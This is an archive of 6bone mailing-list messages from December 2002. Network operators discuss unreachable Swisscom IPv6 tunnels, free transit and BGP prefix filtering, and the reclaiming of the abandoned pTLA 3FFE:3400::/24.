application: ping gdvipv6.ctv6.vptt.ch  
application: ping aldebaran6.ctv6.vptt.ch  
application: ping deneb6.vptt.ch  
 
$ host -t aaaa gdvipv6.ctv6.vptt.ch
gdvipv6.ctv6.vptt.ch does not exist (Authoritative answer)
$ host -t aaaa aldebaran6.ctv6.vptt.ch
aldebaran6.ctv6.vptt.ch does not exist (Authoritative answer)
$ host -t aaaa deneb6.vptt.ch
deneb6.vptt.ch does not exist (Authoritative answer)
 
- tunnel endpoints in the 6bone registry don't resolve:
tunnel: IPv6 in IPv4 gdvipv6.ctv6.vptt.ch -> router2-0.att.ch
ATT-LABS-EUROPE BGP4+  
tunnel: IPv6 in IPv4 gdvipv6.ctlabs.ch -> router2-0.att.ch
ATT-LABS-EUROPE BGP4+  
tunnel: IPv6 in IPv4 gdvipv6.ctlabs.ch -> vboipv6rtr.europe.digital.com
DIGITAL-ETC BGP4+ 
 
$ host -t a gdvipv6.ctv6.vptt.ch
gdvipv6.ctv6.vptt.ch does not exist, try again
$ host -t aaaa gdvipv6.ctv6.vptt.ch
gdvipv6.ctv6.vptt.ch does not exist, try again
$ host -t aaaa gdvipv6.vptt.ch
gdvipv6.vptt.ch does not exist (Authoritative answer)
 
And the remote sides don't even resolve either.
 
Is there any information about this situation and are you going to fix
it?
 
Greets,
 Jeroen
 
 
 


From nicolas.deffayet@ndsoftware.net Tue Dec  3 06:41:03 2002
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Subject: Re: [6bone] RE: SWISSCOM / AS3303 / 3ffe:1e00::/24 - Is there
	anyone alive?
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Jeroen Massar <jeroen@unfix.org>
Cc: 6bone@ISI.EDU, v6ops@ops.ietf.org, helpdesk@ip-plus.net, noc@ip-plus.net
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On Tue, 2002-12-03 at 15:02, Jeroen Massar wrote:
> Jeroen Massar wrote:
> 
> > helpdesk@ip-plus.net CC'd as they are they are for AS3303 'operational
> > issues'.
> 
> And what a great response you get:
> 
> > Thank you for your e-mail.
> > Please indicate us what you were trying to do?
> > Are you a customer of us?
> > Did you try to reach a homepage?
> 
> noc@ip-plus.net CC'd... maybe they have a clue :)
> 
> So SWISSCOM NOC people do you know what IPv6 is and that you have a
> 6bone object?

BGP routing table entry for 2001:918::/32
Paths: (2 available, best #2, table Default-IP-Routing-Table)
  Not advertised to any peer
  8379 6830 559 3303
    2001:768:e:11::1 from 2001:768:e:11::1 (195.143.108.166)
    (fe80::2d0:79ff:fee2:7800)
      Origin IGP, metric 2300, localpref 100, valid, external
      Community: 25358:300 25358:360 25358:410 25358:900 25358:1000
25358:3000
      Last update: Mon Dec  2 22:37:48 2002

  1752 6830 559 3303
    3ffe:4013:0:1::1 from 3ffe:4013:0:1::1 (213.91.4.3)
    (fe80::d55b:403)
      Origin IGP, metric 2200, localpref 100, valid, internal, best
      Community: 25358:300 25358:360 25358:410 25358:900 25358:1000
25358:3000
      Last update: Mon Dec  2 01:02:13 2002

AS3303 announce a sTLA (2001:918::/32).


Best Regards,

-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From jeroen@unfix.org Tue Dec  3 06:56:14 2002
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To: "'Nicolas DEFFAYET'" <nicolas.deffayet@ndsoftware.net>,
   <Martin.Gysi@swisscom.com>
Cc: <6bone@ISI.EDU>, <v6ops@ops.ietf.org>, <helpdesk@ip-plus.net>,
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Subject: RE: [6bone] RE: SWISSCOM / AS3303 / 3ffe:1e00::/24 - Is thereanyone alive?
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Nicolas DEFFAYET [mailto:nicolas.deffayet@ndsoftware.net] wrote:

> On Tue, 2002-12-03 at 15:02, Jeroen Massar wrote:
> > Jeroen Massar wrote:
> > 
> > > helpdesk@ip-plus.net CC'd as they are they are for AS3303 
> 'operational
> > > issues'.
> > 
> > And what a great response you get:
> > 
> > > Thank you for your e-mail.
> > > Please indicate us what you were trying to do?
> > > Are you a customer of us?
> > > Did you try to reach a homepage?
> > 
> > noc@ip-plus.net CC'd... maybe they have a clue :)
> > 
> > So SWISSCOM NOC people do you know what IPv6 is and that you have a
> > 6bone object?
> 
> BGP routing table entry for 2001:918::/32
> Paths: (2 available, best #2, table Default-IP-Routing-Table)
>   Not advertised to any peer
>   8379 6830 559 3303
>     2001:768:e:11::1 from 2001:768:e:11::1 (195.143.108.166)
>     (fe80::2d0:79ff:fee2:7800)
>       Origin IGP, metric 2300, localpref 100, valid, external
>       Community: 25358:300 25358:360 25358:410 25358:900 25358:1000
> 25358:3000
>       Last update: Mon Dec  2 22:37:48 2002
> 
>   1752 6830 559 3303
>     3ffe:4013:0:1::1 from 3ffe:4013:0:1::1 (213.91.4.3)
>     (fe80::d55b:403)
>       Origin IGP, metric 2200, localpref 100, valid, internal, best
>       Community: 25358:300 25358:360 25358:410 25358:900 25358:1000
> 25358:3000
>       Last update: Mon Dec  2 01:02:13 2002
> 
> AS3303 announce a sTLA (2001:918::/32).

And they don't know about it... GREAT......

inet6num:     2001:0918::/32
netname:      CH-UNISOURCE-20020927
descr:        Provider Local Registry
descr:        Swisscom IP-PLus Internet Services

Also announcing/having an sTLA doesn't allow one to neglect their 6bone
prefix.
Could somebody at Swisscom/IP-Plus pass a cluestick to their helpdesk
and train
them to the fact that IPv6 exists and what they can and should do about
it etc?

Greets,
 Jeroen


From jeroen@unfix.org Tue Dec  3 06:58:23 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Hans Goes'" <hgoes@eu.uu.net>, <6bone@ISI.EDU>
Subject: RE: [6bone] free transit
Date: Tue, 3 Dec 2002 15:57:18 +0100
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Hans Goes wrote:

> Hi,
> 
> While we are moving from our old router (in AS1890) to our 
> new router (in
> AS12702) we also limit the amount of prefixes we receive of our peers.
> 
> But..... Why is almost every peer giving free transit to everyone ?
>
> Most peers of us give us more than 300 prefixes. I don't get this.

That's the way of the 6bone. RIR space doesn't have this problem that
much.
And that 300 number are all the prefixes currently in the routing table
:)

> If we want to move on with ipv6 everyone needs to check their
> access-lists/prefix-lists to limit this.

You are probably peering with all the other TLA's and they, like you,
want connectivity to the rest of the IPv6 internet as there are only
a few real transit-only providers most people chose to do free transit
and indeed this is not a good thing.

> We already shutdown our far away peers to south-america 
> because they don't make sense. I guess everyone must think about this.
> South-America peers can connect to America providers instead 
> of Europe...

Indeed, unless you have a big worldwide IPv6 network like some lucky
people have.

You might want to check up on:
http://ip6.de.easynet.net/ipv6-minimum-peering.txt
and
http://www.ietf.org/internet-drafts/draft-savola-v6ops-6bone-mess-01.txt

Greets,
 Jeroen


From jordi.palet@consulintel.es Tue Dec  3 07:00:24 2002
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Reply-To: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
From: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
To: <6bone@mailman.isi.edu>
References: <5783423234.20021203153406@rdns.de>
Subject: Re: [6bone] 3ffe:3400::/24 / IPF/DE
Date: Tue, 3 Dec 2002 16:04:48 +0100
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I'm not sure if is the same people, but as I know Gigabell (IPF) was acquired by Jippii.

Regards,
Jordi

----- Original Message ----- 
From: "Sascha Bielski" <sb@rdns.de>
To: <6bone@mailman.isi.edu>
Sent: Tuesday, December 03, 2002 3:34 PM
Subject: [6bone] 3ffe:3400::/24 / IPF/DE


> Hi!
> 
> just found 3ffe:3400::/24 in the pTLA list.
> 
> >whois -h whois.6bone.net IPF
> 
> no match for "!IPF"
> 
> >sh bgp 3ffe:3400::/24
> % Network not in table
> 
> looks strange. any comments? ;-)
> 
> -- 
> best regards,
> Sascha Bielski                          mailto:sb@rdns.de
> xs26.net German Coordination
> phone: +49 (0) 174 / 432 93 76
> email: sb@rdns.de
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


***********************************
Madrid 2003 Global IPv6 Summit
12-14 May 2003 - Soon on line at:
http://www.ipv6-es.com
Interested in participating or sponsoring ?
Contact us at ipv6@consulintel.es



From bortzmeyer@nic.fr Tue Dec  3 07:03:03 2002
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Subject: Re: [6bone] free transit
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On Tue, Dec 03, 2002 at 02:15:05PM +0000,
 Hans Goes <hgoes@eu.uu.net> wrote 
 a message of 32 lines which said:

> But..... Why is almost every peer giving free transit to everyone ?

This is the IPv6 world (or more precisely the 6bone world but in
practice, it is the same thing). It does not work like the ordinary
Internet. Wether it is a good thing (like Usenet, IPv6 people peer
with anybody and gratis) or a bad thing (the routing is a mess), I
don't know.

See Internet-Draft draft-savola-v6ops-6bone-mess-01.txt.
 
> Most peers of us give us more than 300 prefixes. 

The full routing table.


From hgoes@eu.uu.net Tue Dec  3 07:11:47 2002
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From: Hans Goes <hgoes@eu.uu.net>
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On Tue, 3 Dec 2002, Jeroen Massar wrote:

> Indeed, unless you have a big worldwide IPv6 network like some lucky
> people have.
> You might want to check up on:
> http://ip6.de.easynet.net/ipv6-minimum-peering.txt
> and
> http://www.ietf.org/internet-drafts/draft-savola-v6ops-6bone-mess-01.txt


Ok.... But do we accept this way of routing ? I think it's a bad thing.

In this situation traffic can route the whole world only because someone
build a tunnel somewhere.

A tunnel to Mexico can result in a shorter AS path but is too slow for
real use....



Hans Goes

WorldCom
EMEA Network Operations
Joan Muyskenweg 24
1096 CJ Amsterdam

Tel: +31 20 7112428 (Fax: 2455)
V-Net: 711 2428
http://www.wcom.com/nl/



From czmok@gollum.gatel.net Tue Dec  3 07:27:47 2002
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From: Jan Czmok <czmok@gatel.net>
To: Sascha Bielski <sb@rdns.de>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] 3ffe:3400::/24 / IPF/DE
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Sascha Bielski (sb@rdns.de) wrote:
> Hi!
> 
> just found 3ffe:3400::/24 in the pTLA list.
> 
> >whois -h whois.6bone.net IPF
> 
> no match for "!IPF"
> 
> >sh bgp 3ffe:3400::/24
> % Network not in table
> 
> looks strange. any comments? ;-)
> 
> -- 
> best regards,
> Sascha Bielski                          mailto:sb@rdns.de
> xs26.net German Coordination
> phone: +49 (0) 174 / 432 93 76
> email: sb@rdns.de
> 

IPF was sold to Jippii. Jippii went bankrupt. Please see archives!
I was maintainer for the ipv6 activity there, now at GATEL (yes, also
ipv6)

--jan



-- 
     Jan Ahrent Czmok - Senior Network Engineer - Access Networks
Global Access Telecommunications, Inc. - Stephanstr. 3 - 60313 Frankfurt
voice: +49 69 299896-35 - fax: +49 69 299896-66 - email: czmok@gatel.de

From sb@rdns.de Tue Dec  3 07:30:24 2002
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Dear Jan Czmok,

> IPF was sold to Jippii. Jippii went bankrupt. Please see archives!
> I was maintainer for the ipv6 activity there, now at GATEL (yes, also
> ipv6)

why did nobody return the address space? just wondering :-)

greets,
sb

-- 
best regards,
Sascha Bielski                            mailto:sb@rdns.de
xs26.net German Coordination
phone: +49 (0) 174 / 432 93 76
email: sb@rdns.de


From jeroen@unfix.org Tue Dec  3 07:37:12 2002
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To: "'Hans Goes'" <hans.goes@wcom.com>
Cc: <6bone@ISI.EDU>
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Hans Goes [mailto:hans.goes@wcom.com] wrote:

> On Tue, 3 Dec 2002, Jeroen Massar wrote:
> 
> > Indeed, unless you have a big worldwide IPv6 network like some lucky
> > people have.
> > You might want to check up on:
> > http://ip6.de.easynet.net/ipv6-minimum-peering.txt
> > and
> >
http://www.ietf.org/internet-drafts/draft-savola-v6ops-6bone-mess-01.txt
>
> Ok.... But do we accept this way of routing ? I think it's a bad
thing.
> 
> In this situation traffic can route the whole world only because
someone
> build a tunnel somewhere.
> 
> A tunnel to Mexico can result in a shorter AS path but is too slow for
> real use....

Read the first one and especially the point about 'bad tunnels'
A tunnel to Mexico from The Netherlands would surely qualify for that ;)
Unless the cable over which the IPv4 packets flow is completely yours
one could argue that it is kind of a native then. IMHO it is in that
case.
One only needs to replace the hardware on both ends to do native IPv6.
And that is not always something that can be done due to organisational
issues.
"Dear bank I need a new router... I want to do IPv6", they'll see you
coming...

Greets,
 Jeroen


From mohacsi@evil.ki.iif.hu Tue Dec  3 07:46:26 2002
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On Tue, 3 Dec 2002, Sascha Bielski wrote:

> Hi!
>
> just found 3ffe:3400::/24 in the pTLA list.
>
> >whois -h whois.6bone.net IPF
>
> no match for "!IPF"
>
> >sh bgp 3ffe:3400::/24
> % Network not in table


Does not mean anything, that 3ffe:3400::/24 is not on the BGP table.

Probably they or you don't have global connectivity to 6bone...

Best Regards,
		Janos Mohacsi


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Dear Janos Mohacsi,


> Does not mean anything, that 3ffe:3400::/24 is not on the BGP table.

> Probably they or you don't have global connectivity to 6bone...

probably I have more than 3 fullfeeds. probably they don't exist
anymore. ;-)

I just wondered why nobody gave it back to Bill.

sb

-- 
best regards,
Sascha Bielski                            mailto:sb@rdns.de
xs26.net German Coordination
phone: +49 (0) 174 / 432 93 76
email: sb@rdns.de


From michel@arneill-py.sacramento.ca.us Tue Dec  3 07:51:38 2002
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Hans,

> Hans Goes wrote:
> Ok.... But do we accept this way of routing ? I think it's
> a bad thing. In this situation traffic can route the whole
> world only because someone build a tunnel somewhere.
> A tunnel to Mexico can result in a shorter AS path but is
> too slow for real use....

This is yesterday's news. The bottom line is that you don't have much of
a choice today.

In the 6bone meeting in Atlanta I presented some slides related to this.
http://arneill-py.sacramento.ca.us/ipv6mh/ietf55ilj.pdf
http://arneill-py.sacramento.ca.us/ipv6mh/ietf55ilj.ppt

As far as I have heard, it all comes to money. Among the three models
described, it is commonly admitted that v4 tier-1 ISPs such as the one
you are working for will eventually form the IPv6 DFZ and become picky
about who they peer with. This requires that *you* build the IPv6
backbone that does not exist yet :-)

Michel.


From pim@ipng.nl Tue Dec  3 07:52:48 2002
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From: Pim van Pelt <pim@ipng.nl>
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Subject: Re: [6bone] free transit
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On Tue, Dec 03, 2002 at 03:11:38PM +0000, Hans Goes wrote:
| On Tue, 3 Dec 2002, Jeroen Massar wrote:
| 
| > Indeed, unless you have a big worldwide IPv6 network like some lucky
| > people have.
| > You might want to check up on:
| > http://ip6.de.easynet.net/ipv6-minimum-peering.txt
| > and
| > http://www.ietf.org/internet-drafts/draft-savola-v6ops-6bone-mess-01.txt
| 
| 
| Ok.... But do we accept this way of routing ? I think it's a bad thing.
You should not, in my opinion. One thing you can do, is filter inboud
announcements to fit into this regexp:
^([0-9]+)$

This will accept paths of exactly one AS, effectively eliminating all
the stuff you get from your peers. If you don't want to have all the
prefixes, the best thing you can do is request that your peer only send
their and their customers routes (normally, this would be only one prefix).

If they do not honor your request, I think you should remove peering. By
the way, at AMS-IX (where you recently migrated from 1890 to 12702
also), I don't see heavy transit either. Almost all of my peers send me
only their own prefixes. I myself send all tunneled peers only the
prefixes I learn at AMS-IX.

I think it's also time to stop building far-away tunnels. A rule of
thumb might be: only tunnel to peering ASes. Making a tunnel from
Amsterdam to California via 2 or 3 transit ASes is not what you want.
The traffic will get there sooner or later without you (note: not you
personally :) making an explicit tunnel to them.

We might also want to start accepting only 2001:400::/23 prefixes from
our ARIN peers, and 2001:200::/23 from our APNIC. This way, you cannot
'go to europe via america' in 2001::/16 land. I'm sorry to say that this
will not hold for 6BONE, as these prefixes are allocated sequentially
and not from supernets.

Hope this helps.

groet,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From bmanning@ISI.EDU Tue Dec  3 07:58:05 2002
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Subject: Re: [6bone] free transit
In-Reply-To: <Pine.SOL.4.44.0212031511220.24542-100000@eunoc13.ams.ops.eu.uu.net> from Hans Goes at "Dec 3, 2 03:11:38 pm"
To: hgoes@eu.uu.net (Hans Goes)
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 we accept this way of routing as a bootstrap/transitory measure.
 or not.  the nifty thing about Exterior Gateway Protocols e.g. BGP
 is that sites are able to express what ever policies they wish at
 their routing "edges" - If you think this is "a bad thing", then
 you are free to reject those paths/prefixes you find distasteful
 at your edges.  



% On Tue, 3 Dec 2002, Jeroen Massar wrote:
% 
% > Indeed, unless you have a big worldwide IPv6 network like some lucky
% > people have.
% > You might want to check up on:
% > http://ip6.de.easynet.net/ipv6-minimum-peering.txt
% > and
% > http://www.ietf.org/internet-drafts/draft-savola-v6ops-6bone-mess-01.txt
% 
% 
% Ok.... But do we accept this way of routing ? I think it's a bad thing.
% 
% In this situation traffic can route the whole world only because someone
% build a tunnel somewhere.
% 
% A tunnel to Mexico can result in a shorter AS path but is too slow for
% real use....
% 
% 
% 
% Hans Goes
% 
% WorldCom
% EMEA Network Operations
% Joan Muyskenweg 24
% 1096 CJ Amsterdam
% 
% Tel: +31 20 7112428 (Fax: 2455)
% V-Net: 711 2428
% http://www.wcom.com/nl/
% 
% 
% _______________________________________________
% 6bone mailing list
% 6bone@mailman.isi.edu
% http://mailman.isi.edu/mailman/listinfo/6bone
% 


-- 
--bill

Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).


From czmok@gollum.gatel.net Tue Dec  3 08:08:04 2002
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From: Jan Czmok <czmok@gatel.net>
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Subject: Re: [6bone] 3ffe:3400::/24 / IPF/DE
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Sascha Bielski (sb@rdns.de) wrote:
> Dear Jan Czmok,
> 
> > IPF was sold to Jippii. Jippii went bankrupt. Please see archives!
> > I was maintainer for the ipv6 activity there, now at GATEL (yes, also
> > ipv6)
> 
> why did nobody return the address space? just wondering :-)
> 
> greets,
> sb

because who should return it ? noone is working there anymore and i
noted to the list (afaik) that the space can be reclaimed.

--jan


-- 
     Jan Ahrent Czmok - Senior Network Engineer - Access Networks
Global Access Telecommunications, Inc. - Stephanstr. 3 - 60313 Frankfurt
voice: +49 69 299896-35 - fax: +49 69 299896-66 - email: czmok@gatel.de

From pekkas@netcore.fi Tue Dec  3 09:15:31 2002
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On Tue, 3 Dec 2002, Sascha Bielski wrote:
> > IPF was sold to Jippii. Jippii went bankrupt. Please see archives!
> > I was maintainer for the ipv6 activity there, now at GATEL (yes, also
> > ipv6)
> 
> why did nobody return the address space? just wondering :-)

"turn off the lights and return the 6bone address space"

Whew.. In real life, I don't think I would have been able to say that in
one sentence (at least with a straight face).

A better question would be, why would nobody _reclaim_ the address 
space after N months of inactivity etc...

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



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Pekka Savola (pekkas@netcore.fi) wrote:
> On Tue, 3 Dec 2002, Sascha Bielski wrote:
> > > IPF was sold to Jippii. Jippii went bankrupt. Please see archives!
> > > I was maintainer for the ipv6 activity there, now at GATEL (yes, also
> > > ipv6)
> > 
> > why did nobody return the address space? just wondering :-)
> 
> "turn off the lights and return the 6bone address space"

i did that ...

> 
> Whew.. In real life, I don't think I would have been able to say that in
> one sentence (at least with a straight face).

me 2.

> 
> A better question would be, why would nobody _reclaim_ the address 
> space after N months of inactivity etc...

that's the _more interesting_ question.

--jan

-- 
     Jan Ahrent Czmok - Senior Network Engineer - Access Networks
Global Access Telecommunications, Inc. - Stephanstr. 3 - 60313 Frankfurt
voice: +49 69 299896-35 - fax: +49 69 299896-66 - email: czmok@gatel.de

From pim@ipng.nl Tue Dec  3 11:17:00 2002
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| A better question would be, why would nobody _reclaim_ the address 
| space after N months of inactivity etc...

Perhaps we should add a point to RFC2772 that the pTLA should remain
advertised (under normal conditions etc etc) at all times, and if the
pTLA remains abandonned, that the 6BONE community may reclaim the
allocation and return it to 'the registry'.

I think there's quite some (nearly) dead pTLA deployments out there.

A periodic check might not be that bad either. There's plenty of
public LGs around to confirm the absence of a prefix. Also,  RIPE
has just started the RISv6 project (I was their first peer, awww :)
and we might be able to make use of that also, to detect things.

groet,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

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Hi,

On Tue, Dec 03, 2002 at 03:11:38PM +0000, Hans Goes wrote:
> > http://www.ietf.org/internet-drafts/draft-savola-v6ops-6bone-mess-01.txt
> 
> Ok.... But do we accept this way of routing ? I think it's a bad thing.

That's what 6bone-mess is all about. :-)

> In this situation traffic can route the whole world only because someone
> build a tunnel somewhere.
> 
> A tunnel to Mexico can result in a shorter AS path but is too slow for
> real use....

Yes.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  54136  (50279)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From fink@es.net Tue Dec  3 17:44:50 2002
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From: Bob Fink <fink@es.net>
Subject: Re: [6bone] 3ffe:3400::/24 / IPF/DE
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Pim,

At 08:14 PM 12/3/2002 +0100, Pim van Pelt wrote:
>| A better question would be, why would nobody _reclaim_ the address
>| space after N months of inactivity etc...
>
>Perhaps we should add a point to RFC2772 that the pTLA should remain
>advertised (under normal conditions etc etc) at all times, and if the
>pTLA remains abandonned, that the 6BONE community may reclaim the
>allocation and return it to 'the registry'.

I agree that if a pTLA is unused for some period of time should be returned 
to the pool. What the exact wording and length of out of service time 
should be, I haven't formed an exact opinion on yet.


>I think there's quite some (nearly) dead pTLA deployments out there.
>
>A periodic check might not be that bad either. There's plenty of
>public LGs around to confirm the absence of a prefix. Also,  RIPE
>has just started the RISv6 project (I was their first peer, awww :)
>and we might be able to make use of that also, to detect things.

It would be great to have some automatically reporting tool that we could 
use to evaluate what is no longer in use.


I am starting to request pTLA holders that I become aware are obviously not 
using their pTLA for longer periods of time (months) to give back their 
pTLA and reapply for a new one if they want another in the future (i.e., 
not just hold on until they change their plans).

Sounds like 3FFE:3400::/24 is a strong candidate to be reclaimed. I will 
post an intent to reclaim this pTLA with a two week notice.


Thanks,

Bob


From fink@es.net Tue Dec  3 17:46:18 2002
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 17 Dec 02
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This is a notice of intent to reclaim the pTLA 3FFE:3400::/24.

It has been stated that 3FFE::/24 has been unused for a long period and 
that the original organization, IPF, may not exist any more. I cannot find 
any current references to IPF in the 6bone registry.

This pTLA will be returned to the pool, pending comments to me or the list, 
at the end of two weeks. Please reply to me or the list prior to close of 
business 17 December 2002.


Thanks,

Bob


From hgoes@eu.uu.net Tue Dec  3 23:53:23 2002
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From: Hans Goes <hgoes@eu.uu.net>
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Hi Pim,

> This will accept paths of exactly one AS, effectively eliminating all
> the stuff you get from your peers. If you don't want to have all the
> prefixes, the best thing you can do is request that your peer only send
> their and their customers routes (normally, this would be only one prefix).

Agree.. This is what we do. We use prefix-lists on the sessions and that
works fine. Had a discussion with Tiscali about this. Only negative thing
is when a customers expands we need to change the prefix-list.

> If they do not honor your request, I think you should remove peering. By
> the way, at AMS-IX (where you recently migrated from 1890 to 12702
> also), I don't see heavy transit either. Almost all of my peers send me
> only their own prefixes. I myself send all tunneled peers only the
> prefixes I learn at AMS-IX.

AMS-IX is properly configured ! All peers know what they are doing. With
tunnels it's mostly totally different.

> I think it's also time to stop building far-away tunnels. A rule of
> thumb might be: only tunnel to peering ASes. Making a tunnel from
> Amsterdam to California via 2 or 3 transit ASes is not what you want.
> The traffic will get there sooner or later without you (note: not you
> personally :) making an explicit tunnel to them.

Agree... But when are others killing tunnels ? A lot of users of the 6bone
were trying to get as many tunnels as possible. Totally nonsense !

> We might also want to start accepting only 2001:400::/23 prefixes from
> our ARIN peers, and 2001:200::/23 from our APNIC. This way, you cannot
> 'go to europe via america' in 2001::/16 land. I'm sorry to say that this
> will not hold for 6BONE, as these prefixes are allocated sequentially
> and not from supernets.


Good idea...


Hans Goes

WorldCom
EMEA Network Operations
Joan Muyskenweg 24
1096 CJ Amsterdam

Tel: +31 20 7112428 (Fax: 2455)
V-Net: 711 2428
http://www.wcom.com/nl/



From czmok@gollum.gatel.net Wed Dec  4 03:54:19 2002
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From: Jan Czmok <czmok@gatel.net>
To: Bob Fink <fink@es.net>
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Subject: Re: [6bone] intent to reclaim pTLA 3FFE:3400::/24 (IPF/DE), comment closes 17 Dec 02
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Bob Fink (fink@es.net) wrote:
> This is a notice of intent to reclaim the pTLA 3FFE:3400::/24.
> 
> It has been stated that 3FFE::/24 has been unused for a long period and 
> that the original organization, IPF, may not exist any more. I cannot find 
> any current references to IPF in the 6bone registry.

Accepted as _former_ MNTer fo the Prefix.

> 
> This pTLA will be returned to the pool, pending comments to me or the list, 
> at the end of two weeks. Please reply to me or the list prior to close of 
> business 17 December 2002.
> 

No Comments. 

--jan


-- 
     Jan Ahrent Czmok - Senior Network Engineer - Access Networks
Global Access Telecommunications, Inc. - Stephanstr. 3 - 60313 Frankfurt
voice: +49 69 299896-35 - fax: +49 69 299896-66 - email: czmok@gatel.de

From jeroen@unfix.org Wed Dec  4 03:55:25 2002
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Bob Fink wrote:

> At 08:14 PM 12/3/2002 +0100, Pim van Pelt wrote:

> >I think there's quite some (nearly) dead pTLA deployments out there.
> >
> >A periodic check might not be that bad either. There's plenty of
> >public LGs around to confirm the absence of a prefix. Also,  RIPE
> >has just started the RISv6 project (I was their first peer, awww :)
> >and we might be able to make use of that also, to detect things.
> 
> It would be great to have some automatically reporting tool 
> that we could 
> use to evaluate what is no longer in use.

I was already collecting prefixes from the bgp dumps I got for the
Ghost Route Hunter* project. I'll grab the current pTLA list and
make a report page for comparing availability per pTLA along with
their origin AS. This also allows us to easily verify if the 6bone
object for that prefix corresponds with the AS it originaties from.
Ghost routes and misannouncements in there will also pop up :)

Notez bien that Gert Doering probably has a much bigger archive
due to his IPv6 routing overview's (www.space.net/~gert/RIPE/)
And that the ASPath tool can also quite clearly show which TLA's
can be found where.

The RISv6 tool unfortunatly only carries BGP entries from native peers.
So most parts of the 6bone space are probably not visible there. RIS is
more extensive than any other routing project though
and they keep histories and other relevant information like updates.
So it could proof very usefull if many ISP's hook up with it.

8<----------------
Found 19743 no, 0 short, 21 long ghosts.
Longest: 31
Prefixes: 436
--------------->8
The prefixes there also hold /48's and others which are localy
visible, but I'll filter those out for the pTLA list ofcourse.
The first line shows ASpaths btw. Doing a rough calculation
this would mean I got 45 paths for every prefix. Skimming through
it quickly reveals that most TLA's have about 65 paths available.
Spread over 9 BGP feeds, more are always welcome ofcourse.

> I am starting to request pTLA holders that I become aware are 
> obviously not 
> using their pTLA for longer periods of time (months) to give 
> back their 
> pTLA and reapply for a new one if they want another in the 
> future (i.e., 
> not just hold on until they change their plans).
> 
> Sounds like 3FFE:3400::/24 is a strong candidate to be 
> reclaimed. I will 
> post an intent to reclaim this pTLA with a two week notice.

Reclaiming is good. This will limit problems and we will be able
to identify them much better. But the availability of an AS
doesn't have to mean that the prefixes are available.
DIGITAL-CA for example _was_ only available to the 'old' prefixes.
eg 3ffe:3000::/24 (AMS-IX) could reach it, or better said they
knew where to find AMS-IX, but they didn't knew the way back to RIR
space. This can be seen in the https://www.sixxs.net/misc/latency/
graphs looking at the host.ipv6.pa-x.dec.com router.
But apparently it started pinging for Cybernet, Concepts and Intouch
now... so the upgrade worked out as they told me when I queried them.

Also IMHO 6bone should move to the RIR's ASAP.
(RIR space are paying people, no free transit -> better stability
blablabla, see those other threads :)

Awareness is a good thing.

Greets,
 Jeroen

* = https://www.sixxs.net/tools/grh/


From gert@Space.Net Wed Dec  4 06:00:42 2002
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Hi,

On Wed, Dec 04, 2002 at 07:52:45AM +0000, Hans Goes wrote:
[..]
> > I think it's also time to stop building far-away tunnels. A rule of
> > thumb might be: only tunnel to peering ASes. Making a tunnel from
> > Amsterdam to California via 2 or 3 transit ASes is not what you want.
> > The traffic will get there sooner or later without you (note: not you
> > personally :) making an explicit tunnel to them.
> 
> Agree... But when are others killing tunnels ? A lot of users of the 6bone
> were trying to get as many tunnels as possible. Totally nonsense !

Well - in the "early stages", this was about the only way to get 
connectivity anywhere.  Build up manymanymany tunnels, and give everybody
free transit everywhere.

I still claim that this was a necessary part of the IPv6 bootstrap :-) - 
but I also agree that this time is over now, and people should concentrate
on optimizing their links.

Setup *peerings* (not "transit relationships"), and try to build as much
native links as possible, only falling back to tunnels if unavoidable,
and *if* tunnels are used, watch out that you don't announce BGP routes
belonging to an unsuspecting third party...

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  54136  (50279)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From gert@Space.Net Wed Dec  4 07:48:36 2002
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Hi,

On Tue, Dec 03, 2002 at 02:06:41PM +0100, Jeroen Massar wrote:
> In the mean time there have been a couple of odd ones popping in and
> out, from the current report (2002-12-03 13:50)
> 8<-----------
> The following routes are currently ghosted and thus are not reachable
> from many places on the internet.
> - 2001:270::/35 - 1 ghosted paths 
> - 3ffe:1400::/24 - 24 ghosted paths 
> - 3ffe:1e00::/24 - 10 ghosted paths 
> - 3ffe:400c::/32 - 1 ghosted paths 
> - 3ffe:400d::/32 - 15 ghosted paths 
> ----------->8

See my last comment - "spurious ghosts" are very likely to be normal
BGP withdrawal symptoms.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  54136  (50279)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From fink@es.net Wed Dec  4 08:00:32 2002
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From: Bob Fink <fink@es.net>
Subject: RE: [6bone] 3ffe:3400::/24 / IPF/DE
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Jeroen,

Thanks for your help on this.


Bob

===
At 12:55 PM 12/4/2002 +0100, Jeroen Massar wrote:
>Bob Fink wrote:
>
> > At 08:14 PM 12/3/2002 +0100, Pim van Pelt wrote:
>
> > >I think there's quite some (nearly) dead pTLA deployments out there.
> > >
> > >A periodic check might not be that bad either. There's plenty of
> > >public LGs around to confirm the absence of a prefix. Also,  RIPE
> > >has just started the RISv6 project (I was their first peer, awww :)
> > >and we might be able to make use of that also, to detect things.
> >
> > It would be great to have some automatically reporting tool
> > that we could
